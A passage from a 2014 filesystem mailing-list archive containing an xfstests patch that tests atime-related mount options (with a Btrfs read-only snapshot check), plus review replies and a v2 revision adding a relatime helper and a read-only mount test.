+# Tests the noatime, relatime, strictatime and nodiratime mount options. +# There is an extra check for Btrfs to ensure that the access time is +# never updated on read-only subvolumes. (Regression test for bug fixed +# with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +_supported_fs generic +_supported_os Linux +_require_scratch +_require_relatime + +rm -f $seqres.full + +_stat() { + stat --printf="%x;%y;%z" $1 +} + +_compare_stat_times() { + updated=$1 # 3 chars indicating if access, modify and + # change times should be updated (Y) or not (N) + IFS=';' read -a first_stat <<< "$2" # Convert first stat to array + IFS=';' read -a second_stat <<< "$3" # Convert second stat to array + test_step=$4 # Will be printed to output stream in case of an + # error, to make debugging easier + types=( access modify change ) + + for i in 0 1 2; do + if [ "${first_stat[$i]}" == "${second_stat[$i]}" ]; then + if [ "${updated:$i:1}" == "Y" ]; then + echo -n "ERROR: ${types[$i]} time has not been updated " + echo $test_step + fi + else + if [ "${updated:$i:1}" == "N" ]; then + echo -n "ERROR: ${types[$i]} time has changed " + echo $test_step + fi + fi + done +} + +_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" +_scratch_mount "-o relatime" + +if [ "$FSTYP" = "btrfs" ]; then + TPATH=$SCRATCH_MNT/sub1 + $BTRFS_UTIL_PROG subvolume create $TPATH > $seqres.full +else + TPATH=$SCRATCH_MNT +fi + +mkdir $TPATH/dir1 +echo "aaa" > $TPATH/dir1/file1 +file1_stat_before_first_access=`_stat $TPATH/dir1/file1` + +# Accessing file1 the first time +cat $TPATH/dir1/file1 > /dev/null +file1_stat_after_first_access=`_stat $TPATH/dir1/file1` +_compare_stat_times YNN "$file1_stat_before_first_access" \ + "$file1_stat_after_first_access" "after accessing file1 first time" + +# Accessing file1 a second time +cat $TPATH/dir1/file1 > /dev/null +file1_stat_after_second_access=`_stat $TPATH/dir1/file1` +_compare_stat_times NNN "$file1_stat_after_first_access" \ + "$file1_stat_after_second_access" "after accessing file1 second time" + +# Remounting with nodiratime option +_scratch_unmount +_scratch_mount "-o nodiratime" +file1_stat_after_remount=`_stat $TPATH/dir1/file1` +_compare_stat_times NNN "$file1_stat_after_second_access" \ + "$file1_stat_after_remount" "for file1 after remount" + +# Creating dir2 and file2, checking directory stats +mkdir $TPATH/dir2 +dir2_stat_before_file_creation=`_stat $TPATH/dir2` +echo "bbb" > $TPATH/dir2/file2 +dir2_stat_after_file_creation=`_stat $TPATH/dir2` +_compare_stat_times NYY "$dir2_stat_before_file_creation" \ + "$dir2_stat_after_file_creation" "for dir2 after file creation" + +# Accessing file2 +file2_stat_before_first_access=`_stat $TPATH/dir2/file2` +cat $TPATH/dir2/file2 > /dev/null +file2_stat_after_first_access=`_stat $TPATH/dir2/file2` +_compare_stat_times YNN "$file2_stat_before_first_access" \ + "$file2_stat_after_first_access" "after accessing file2" +dir2_stat_after_file_access=`_stat $TPATH/dir2` +_compare_stat_times NNN "$dir2_stat_after_file_creation" \ + "$dir2_stat_after_file_access" "for dir2 after file access" + +# Remounting with noatime option, creating a file and accessing it +_scratch_unmount +_scratch_mount "-o noatime" +echo "ccc" > $TPATH/dir2/file3 +file3_stat_before_first_access=`_stat $TPATH/dir2/file3` +cat $TPATH/dir2/file3 > /dev/null +file3_stat_after_first_access=`_stat $TPATH/dir2/file3` +_compare_stat_times NNN "$file3_stat_before_first_access" \ + "$file3_stat_after_first_access" "after accessing file3 first time" + +# Checking that the modify and change times are still updated +file1_stat_before_modify=`_stat $TPATH/dir1/file1` +echo "xyz" > $TPATH/dir1/file1 +file1_stat_after_modify=`_stat $TPATH/dir1/file1` +_compare_stat_times NYY "$file1_stat_before_modify" \ + "$file1_stat_after_modify" "after modifying file1" +mv $TPATH/dir1/file1 $TPATH/dir1/file1_renamed +file1_stat_after_change=`_stat $TPATH/dir1/file1_renamed` +_compare_stat_times NNY "$file1_stat_after_modify" \ + "$file1_stat_after_change" "after changing file1" + +# Remounting with strictatime option and +# accessing a previously created file twice +_scratch_unmount +_scratch_mount "-o strictatime" +cat $TPATH/dir2/file3 > /dev/null +file3_stat_after_second_access=`_stat $TPATH/dir2/file3` +_compare_stat_times YNN "$file3_stat_after_first_access" \ + "$file3_stat_after_second_access" "after accessing file3 second time" +cat $TPATH/dir2/file3 > /dev/null +file3_stat_after_third_access=`_stat $TPATH/dir2/file3` +_compare_stat_times YNN "$file3_stat_after_second_access" \ + "$file3_stat_after_third_access" "after accessing file3 third time" + +# Btrfs only: Creating readonly snapshot. Access time should never +# be updated, even when the strictatime mount option is active +if [ "$FSTYP" = "btrfs" ]; then + SPATH=$SCRATCH_MNT/snap1 + btrfs subvol snapshot -r $TPATH $SPATH >> $seqres.full + dir2_stat_readonly_before_access=`_stat $SPATH/dir2` + ls $SPATH/dir2 >> $seqres.full + cat $SPATH/dir2/file3 >> $seqres.full + dir2_stat_readonly_after_access=`_stat $SPATH/dir2` + _compare_stat_times NNN "$dir2_stat_readonly_before_access" \ + "$dir2_stat_readonly_after_access" "for dir in readonly subvol" + file3_stat_readonly_after_access=`_stat $SPATH/dir2/file3` + _compare_stat_times NNN "$file3_stat_after_third_access" \ + "$file3_stat_readonly_after_access" "for file in readonly subvol" +fi + +# Remounting read-only. Access time should never be updated, despite the +# strictatime mount option. +dir2_stat_before_ro_mount=`_stat $TPATH/dir2` +file3_stat_before_ro_mount=`_stat $TPATH/dir2/file3` +_scratch_unmount +_scratch_mount "-o ro,strictatime" +ls $TPATH/dir2 > /dev/null +cat $TPATH/dir2/file3 > /dev/null +dir2_stat_after_ro_mount=`_stat $TPATH/dir2` +_compare_stat_times NNN "$dir2_stat_before_ro_mount" \ + "$dir2_stat_after_ro_mount" "for dir in read-only filesystem" +file3_stat_after_ro_mount=`_stat $TPATH/dir2/file3` +_compare_stat_times NNN "$file3_stat_before_ro_mount" \ + "$file3_stat_after_ro_mount" "for file in read-only filesystem" + +# success, all done +_scratch_unmount +echo "Silence is golden" +status=0 +exit diff --git a/tests/generic/323.out b/tests/generic/323.out new file mode 100644 index 0000000..5dba9b5 --- /dev/null +++ b/tests/generic/323.out @@ -0,0 +1,2 @@ +QA output created by 323 +Silence is golden diff --git a/tests/generic/group b/tests/generic/group index f492461..3a72ee4 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -125,3 +125,4 @@ 320 auto rw 321 auto quick metadata log 322 auto quick metadata log +323 atime auto quick -- 1.7.1 From koen.de.wit@oracle.com Mon Feb 17 14:26:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BE1C77F9E for ; Mon, 17 Feb 2014 14:26:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A4C218F8035 for ; Mon, 17 Feb 2014 12:26:08 -0800 (PST) X-ASG-Debug-ID: 1392668765-04cb6c06cf1d9390001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id va8TBzpURUDMECPT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 17 Feb 2014 12:26:05 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1HKQ3Re027446 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 20:26:04 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1HKQ19e015103 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 17 Feb 2014 20:26:01 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1HKQ1i9020927; Mon, 17 Feb 2014 20:26:01 GMT Received: from [192.168.0.163] (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 17 Feb 2014 12:26:00 -0800 Message-ID: <53027056.1090504@oracle.com> Date: Mon, 17 Feb 2014 21:25:58 +0100 From: Koen De Wit Organization: Oracle Corporation User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com CC: linux-btrfs@vger.kernel.org, dsterba@suse.cz, Dave Chinner Subject: Re: [PATCH] xfstests: test for atime-related mount options References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options In-Reply-To: <52FCF60F.6030703@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1392668765 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145219 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks for the review, Eric! Comments inline. On 02/13/2014 05:42 PM, Eric Sandeen wrote: > On 2/13/14, 9:23 AM, Koen De Wit wrote: >> Tests the noatime, relatime, strictatime and nodiratime mount options. >> >> There is an extra check for Btrfs to ensure that the access time is >> never updated on read-only subvolumes. (Regression test for bug fixed >> with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) >> >> Signed-off-by: Koen De Wit >> --- >> tests/generic/323 | 186 +++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/generic/323.out | 2 + >> tests/generic/group | 1 + >> 3 files changed, 189 insertions(+), 0 deletions(-) >> create mode 100644 tests/generic/323 >> create mode 100644 tests/generic/323.out >> >> diff --git a/tests/generic/323 b/tests/generic/323 >> new file mode 100644 >> index 0000000..423b141 >> --- /dev/null >> +++ b/tests/generic/323 >> @@ -0,0 +1,186 @@ >> +# Tests the noatime, relatime, strictatime and nodiratime mount options. >> +# There is an extra check for Btrfs to ensure that the access time is >> +# never updated on read-only subvolumes. (Regression test for bug fixed >> +# with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) >> +# >> +#----------------------------------------------------------------------- >> +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. >> +# >> +# This program is free software; you can redistribute it and/or >> +# modify it under the terms of the GNU General Public License as >> +# published by the Free Software Foundation. >> +# >> +# This program is distributed in the hope that it would be useful, >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >> +# GNU General Public License for more details. >> +# >> +# You should have received a copy of the GNU General Public License >> +# along with this program; if not, write the Free Software Foundation, >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >> +#----------------------------------------------------------------------- >> + >> +seq=`basename $0` >> +seqres=$RESULT_DIR/$seq >> +echo "QA output created by $seq" >> + >> +here=`pwd` >> +tmp=/tmp/$$ >> +status=1 # failure is the default! >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> + >> +_cleanup() >> +{ >> + cd / >> + rm -f $* >> +} > is "$*" really what you meant? Normally this is $tmp.* > > $* is positional parameters for the script, and I don't think it takes any. That's a typo indeed. Fixed in v2. >> + >> +# get standard environment, filters and checks >> +. ./common/rc >> +. ./common/filter >> + >> +# real QA test starts here >> + >> +_supported_fs generic >> +_supported_os Linux >> +_require_scratch >> + >> +rm -f $seqres.full >> + >> +_stat() { >> + stat --printf="%x;%y;%z" $1 >> +} >> + >> +_compare_stat_times() { >> + updated=$1 # 3 chars indicating if access, modify and >> + # change times should be updated (Y) or not (N) >> + IFS=';' read -a first_stat <<< "$2" # Convert first stat to array >> + IFS=';' read -a second_stat <<< "$3" # Convert second stat to array >> + test_step=$4 # Will be printed to output stream in case of an >> + # error, to make debugging easier >> + types=( access modify change ) >> + >> + for i in 0 1 2; do >> + if [ "${first_stat[$i]}" == "${second_stat[$i]}" ]; then >> + if [ "${updated:$i:1}" == "Y" ]; then >> + echo -n "ERROR: ${types[$i]} time has not been updated " >> + echo $test_step >> + fi >> + else >> + if [ "${updated:$i:1}" == "N" ]; then >> + echo -n "ERROR: ${types[$i]} time has changed " >> + echo $test_step >> + fi >> + fi >> + done >> +} >> + >> +_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" >> +_scratch_mount >> + >> +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full >> +[ $? -ne 0 ] && echo "The relatime mount option should be the default." > Ok, I guess "relatime" in /proc/mounts is from core vfs code and should be there for the foreseeable future, so seems ok. > > But - relatime was added in v2.6.20, and made default in 2.6.30. So testing older kernels may not go as expected; it'd probably be best to catch situations where relatime isn't available (< 2.6.20) or not default (< 2.6.30), by explicitly mounting with relatime, and skipping relatime/strictatime tests if that fails? From the mailing list discussions in the last days, I think we can conclude it's best to specify the relatime mount option explicitly and include a new _require_relatime method as proposed by Dave Chinner. I implemented it this way in v2. > The rest of the test is awfully dense, but nice long understandable variable names, so that's good. ;) > > I wonder if in the spirit of testing a btrfs RO snapshot, you could also add a readonly mount test, to be sure that an RO mount doesn't update atime. Of course it shouldn't, but it might be worth adding for basic sanity? Good idea! I added a read-only mount test in v2. Thanks, Koen. > Thanks, > -Eric > >> + >> +if [ "$FSTYP" = "btrfs" ]; then >> + TPATH=$SCRATCH_MNT/sub1 >> + $BTRFS_UTIL_PROG subvolume create $TPATH > $seqres.full >> +else >> + TPATH=$SCRATCH_MNT >> +fi >> + >> +mkdir $TPATH/dir1 >> +echo "aaa" > $TPATH/dir1/file1 >> +file1_stat_before_first_access=`_stat $TPATH/dir1/file1` >> + >> +# Accessing file1 the first time >> +cat $TPATH/dir1/file1 > /dev/null >> +file1_stat_after_first_access=`_stat $TPATH/dir1/file1` >> +_compare_stat_times YNN "$file1_stat_before_first_access" \ >> + "$file1_stat_after_first_access" "after accessing file1 first time" >> + >> +# Accessing file1 a second time >> +cat $TPATH/dir1/file1 > /dev/null >> +file1_stat_after_second_access=`_stat $TPATH/dir1/file1` >> +_compare_stat_times NNN "$file1_stat_after_first_access" \ >> + "$file1_stat_after_second_access" "after accessing file1 second time" >> + >> +# Remounting with nodiratime option >> +_scratch_unmount >> +_scratch_mount "-o nodiratime" >> +file1_stat_after_remount=`_stat $TPATH/dir1/file1` >> +_compare_stat_times NNN "$file1_stat_after_second_access" \ >> + "$file1_stat_after_remount" "for file1 after remount" >> + >> +# Creating dir2 and file2, checking directory stats >> +mkdir $TPATH/dir2 >> +dir2_stat_before_file_creation=`_stat $TPATH/dir2` >> +echo "bbb" > $TPATH/dir2/file2 >> +dir2_stat_after_file_creation=`_stat $TPATH/dir2` >> +_compare_stat_times NYY "$dir2_stat_before_file_creation" \ >> + "$dir2_stat_after_file_creation" "for dir2 after file creation" >> + >> +# Accessing file2 >> +file2_stat_before_first_access=`_stat $TPATH/dir2/file2` >> +cat $TPATH/dir2/file2 > /dev/null >> +file2_stat_after_first_access=`_stat $TPATH/dir2/file2` >> +_compare_stat_times YNN "$file2_stat_before_first_access" \ >> + "$file2_stat_after_first_access" "after accessing file2" >> +dir2_stat_after_file_access=`_stat $TPATH/dir2` >> +_compare_stat_times NNN "$dir2_stat_after_file_creation" \ >> + "$dir2_stat_after_file_access" "for dir2 after file access" >> + >> +# Remounting with noatime option, creating a file and accessing it >> +_scratch_unmount >> +_scratch_mount "-o noatime" >> +echo "ccc" > $TPATH/dir2/file3 >> +file3_stat_before_first_access=`_stat $TPATH/dir2/file3` >> +cat $TPATH/dir2/file3 > /dev/null >> +file3_stat_after_first_access=`_stat $TPATH/dir2/file3` >> +_compare_stat_times NNN "$file3_stat_before_first_access" \ >> + "$file3_stat_after_first_access" "after accessing file3 first time" >> + >> +# Checking that the modify and change times are still updated >> +file1_stat_before_modify=`_stat $TPATH/dir1/file1` >> +echo "xyz" > $TPATH/dir1/file1 >> +file1_stat_after_modify=`_stat $TPATH/dir1/file1` >> +_compare_stat_times NYY "$file1_stat_before_modify" \ >> + "$file1_stat_after_modify" "after modifying file1" >> +mv $TPATH/dir1/file1 $TPATH/dir1/file1_renamed >> +file1_stat_after_change=`_stat $TPATH/dir1/file1_renamed` >> +_compare_stat_times NNY "$file1_stat_after_modify" \ >> + "$file1_stat_after_change" "after changing file1" >> + >> +# Remounting with strictatime option and >> +# accessing a previously created file twice >> +_scratch_unmount >> +_scratch_mount "-o strictatime" >> +cat $TPATH/dir2/file3 > /dev/null >> +file3_stat_after_second_access=`_stat $TPATH/dir2/file3` >> +_compare_stat_times YNN "$file3_stat_after_first_access" \ >> + "$file3_stat_after_second_access" "after accessing file3 second time" >> +cat $TPATH/dir2/file3 > /dev/null >> +file3_stat_after_third_access=`_stat $TPATH/dir2/file3` >> +_compare_stat_times YNN "$file3_stat_after_second_access" \ >> + "$file3_stat_after_third_access" "after accessing file3 third time" >> + >> +# Btrfs only: Creating readonly snapshot. Access time should never >> +# be updated, even when the strictatime mount option is active >> +if [ "$FSTYP" = "btrfs" ]; then >> + SPATH=$SCRATCH_MNT/snap1 >> + btrfs subvol snapshot -r $TPATH $SPATH >> $seqres.full >> + dir2_stat_readonly_before_access=`_stat $SPATH/dir2` >> + ls $SPATH/dir2 >> $seqres.full >> + cat $SPATH/dir2/file3 >> $seqres.full >> + dir2_stat_readonly_after_access=`_stat $SPATH/dir2` >> + _compare_stat_times NNN "$dir2_stat_readonly_before_access" \ >> + "$dir2_stat_readonly_after_access" "for dir in readonly subvol" >> + file3_stat_readonly_after_access=`_stat $SPATH/dir2/file3` >> + _compare_stat_times NNN "$file3_stat_after_third_access" \ >> + "$file3_stat_readonly_after_access" "for file in readonly subvol" >> +fi >> + >> +# success, all done >> +_scratch_unmount >> +echo "Silence is golden" >> +status=0 >> +exit >> diff --git a/tests/generic/323.out b/tests/generic/323.out >> new file mode 100644 >> index 0000000..5dba9b5 >> --- /dev/null >> +++ b/tests/generic/323.out >> @@ -0,0 +1,2 @@ >> +QA output created by 323 >> +Silence is golden >> diff --git a/tests/generic/group b/tests/generic/group >> index f492461..3a72ee4 100644 >> --- a/tests/generic/group >> +++ b/tests/generic/group >> @@ -125,3 +125,4 @@ >> 320 auto rw >> 321 auto quick metadata log >> 322 auto quick metadata log >> +323 atime auto quick >> From sandeen@redhat.com Mon Feb 17 14:40:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 40D297FA3 for ; Mon, 17 Feb 2014 14:40:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5157AC004 for ; Mon, 17 Feb 2014 12:40:50 -0800 (PST) X-ASG-Debug-ID: 1392669649-04bdf00fc3bb690001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XaCgpA6oSGlLVYQM for ; Mon, 17 Feb 2014 12:40:49 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HKelrE021111 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 15:40:47 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1HKejDD024707 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 17 Feb 2014 15:40:46 -0500 Message-ID: <530273CD.3090303@redhat.com> Date: Mon, 17 Feb 2014 14:40:45 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Koen De Wit , xfs@oss.sgi.com CC: linux-btrfs@vger.kernel.org Subject: Re: [PATCH v2] xfstests: test for atime-related mount options References: <1392668720-6135-1-git-send-email-koen.de.wit@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: test for atime-related mount options In-Reply-To: <1392668720-6135-1-git-send-email-koen.de.wit@oracle.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392669649 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/17/14, 2:25 PM, Koen De Wit wrote: > Tests the noatime, relatime, strictatime and nodiratime mount options. > > There is an extra check for Btrfs to ensure that the access time is > never updated on read-only subvolumes. (Regression test for bug fixed > with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) I think this looks ok. Only little nit is that _require_relatime now implicitly requires scratch, but *shrug* it was Dave's idea. ;) Thanks! Reviewed-by: Eric Sandeen > Signed-off-by: Koen De Wit > --- > > v1->v2: > - Fix typo in _cleanup() > - Explicitly passing relatime mount option > - Adding _require_relatime method to common/rc > - Adding extra test for read-only mounts > > diff --git a/common/rc b/common/rc > index e91568b..e55d09e 100644 > --- a/common/rc > +++ b/common/rc > @@ -2159,6 +2159,14 @@ _verify_reflink() > || echo "$1 and $2 are not reflinks: different extents" > } > > +_require_relatime() > +{ > + _scratch_mkfs > /dev/null 2>&1 > + _mount -t $FSTYP -o relatime $SCRATCH_DEV $SCRATCH_MNT || \ > + _notrun "relatime not supported by the current kernel" > + _scratch_unmount > +} > + > _create_loop_device() > { > file=$1 > diff --git a/tests/generic/323 b/tests/generic/323 > new file mode 100644 > index 0000000..54f2739 > --- /dev/null > +++ b/tests/generic/323 > @@ -0,0 +1,199 @@ > +# Tests the noatime, relatime, strictatime and nodiratime mount options. > +# There is an extra check for Btrfs to ensure that the access time is > +# never updated on read-only subvolumes. (Regression test for bug fixed > +# with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -rf $tmp.* > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > + > +_supported_fs generic > +_supported_os Linux > +_require_scratch > +_require_relatime > + > +rm -f $seqres.full > + > +_stat() { > + stat --printf="%x;%y;%z" $1 > +} > + > +_compare_stat_times() { > + updated=$1 # 3 chars indicating if access, modify and > + # change times should be updated (Y) or not (N) > + IFS=';' read -a first_stat <<< "$2" # Convert first stat to array > + IFS=';' read -a second_stat <<< "$3" # Convert second stat to array > + test_step=$4 # Will be printed to output stream in case of an > + # error, to make debugging easier > + types=( access modify change ) > + > + for i in 0 1 2; do > + if [ "${first_stat[$i]}" == "${second_stat[$i]}" ]; then > + if [ "${updated:$i:1}" == "Y" ]; then > + echo -n "ERROR: ${types[$i]} time has not been updated " > + echo $test_step > + fi > + else > + if [ "${updated:$i:1}" == "N" ]; then > + echo -n "ERROR: ${types[$i]} time has changed " > + echo $test_step > + fi > + fi > + done > +} > + > +_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" > +_scratch_mount "-o relatime" > + > +if [ "$FSTYP" = "btrfs" ]; then > + TPATH=$SCRATCH_MNT/sub1 > + $BTRFS_UTIL_PROG subvolume create $TPATH > $seqres.full > +else > + TPATH=$SCRATCH_MNT > +fi > + > +mkdir $TPATH/dir1 > +echo "aaa" > $TPATH/dir1/file1 > +file1_stat_before_first_access=`_stat $TPATH/dir1/file1` > + > +# Accessing file1 the first time > +cat $TPATH/dir1/file1 > /dev/null > +file1_stat_after_first_access=`_stat $TPATH/dir1/file1` > +_compare_stat_times YNN "$file1_stat_before_first_access" \ > + "$file1_stat_after_first_access" "after accessing file1 first time" > + > +# Accessing file1 a second time > +cat $TPATH/dir1/file1 > /dev/null > +file1_stat_after_second_access=`_stat $TPATH/dir1/file1` > +_compare_stat_times NNN "$file1_stat_after_first_access" \ > + "$file1_stat_after_second_access" "after accessing file1 second time" > + > +# Remounting with nodiratime option > +_scratch_unmount > +_scratch_mount "-o nodiratime" > +file1_stat_after_remount=`_stat $TPATH/dir1/file1` > +_compare_stat_times NNN "$file1_stat_after_second_access" \ > + "$file1_stat_after_remount" "for file1 after remount" > + > +# Creating dir2 and file2, checking directory stats > +mkdir $TPATH/dir2 > +dir2_stat_before_file_creation=`_stat $TPATH/dir2` > +echo "bbb" > $TPATH/dir2/file2 > +dir2_stat_after_file_creation=`_stat $TPATH/dir2` > +_compare_stat_times NYY "$dir2_stat_before_file_creation" \ > + "$dir2_stat_after_file_creation" "for dir2 after file creation" > + > +# Accessing file2 > +file2_stat_before_first_access=`_stat $TPATH/dir2/file2` > +cat $TPATH/dir2/file2 > /dev/null > +file2_stat_after_first_access=`_stat $TPATH/dir2/file2` > +_compare_stat_times YNN "$file2_stat_before_first_access" \ > + "$file2_stat_after_first_access" "after accessing file2" > +dir2_stat_after_file_access=`_stat $TPATH/dir2` > +_compare_stat_times NNN "$dir2_stat_after_file_creation" \ > + "$dir2_stat_after_file_access" "for dir2 after file access" > + > +# Remounting with noatime option, creating a file and accessing it > +_scratch_unmount > +_scratch_mount "-o noatime" > +echo "ccc" > $TPATH/dir2/file3 > +file3_stat_before_first_access=`_stat $TPATH/dir2/file3` > +cat $TPATH/dir2/file3 > /dev/null > +file3_stat_after_first_access=`_stat $TPATH/dir2/file3` > +_compare_stat_times NNN "$file3_stat_before_first_access" \ > + "$file3_stat_after_first_access" "after accessing file3 first time" > + > +# Checking that the modify and change times are still updated > +file1_stat_before_modify=`_stat $TPATH/dir1/file1` > +echo "xyz" > $TPATH/dir1/file1 > +file1_stat_after_modify=`_stat $TPATH/dir1/file1` > +_compare_stat_times NYY "$file1_stat_before_modify" \ > + "$file1_stat_after_modify" "after modifying file1" > +mv $TPATH/dir1/file1 $TPATH/dir1/file1_renamed > +file1_stat_after_change=`_stat $TPATH/dir1/file1_renamed` > +_compare_stat_times NNY "$file1_stat_after_modify" \ > + "$file1_stat_after_change" "after changing file1" > + > +# Remounting with strictatime option and > +# accessing a previously created file twice > +_scratch_unmount > +_scratch_mount "-o strictatime" > +cat $TPATH/dir2/file3 > /dev/null > +file3_stat_after_second_access=`_stat $TPATH/dir2/file3` > +_compare_stat_times YNN "$file3_stat_after_first_access" \ > + "$file3_stat_after_second_access" "after accessing file3 second time" > +cat $TPATH/dir2/file3 > /dev/null > +file3_stat_after_third_access=`_stat $TPATH/dir2/file3` > 